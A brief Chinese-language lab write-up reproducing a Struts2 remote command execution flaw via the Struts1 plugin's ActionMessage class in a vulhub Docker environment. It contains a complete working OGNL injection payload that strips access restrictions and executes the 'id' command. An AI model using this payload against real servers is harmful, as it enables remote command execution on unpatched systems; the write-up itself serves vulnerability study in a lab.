漏洞简介
当使用了Struts2 Struts1 插件时,可能导致不受信任的输入传入到ActionMessage类种导致命令执行
影响范围
2.3x
漏洞复现
开启vulhub环境 执行命令
docker-compose up -d
访问靶场
http://ip:8080/showcase
${4*4}
可以看到计算结果回显出来了
写入poc,成功执行id命令
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
最后关闭vulhub,执行
docker-compose down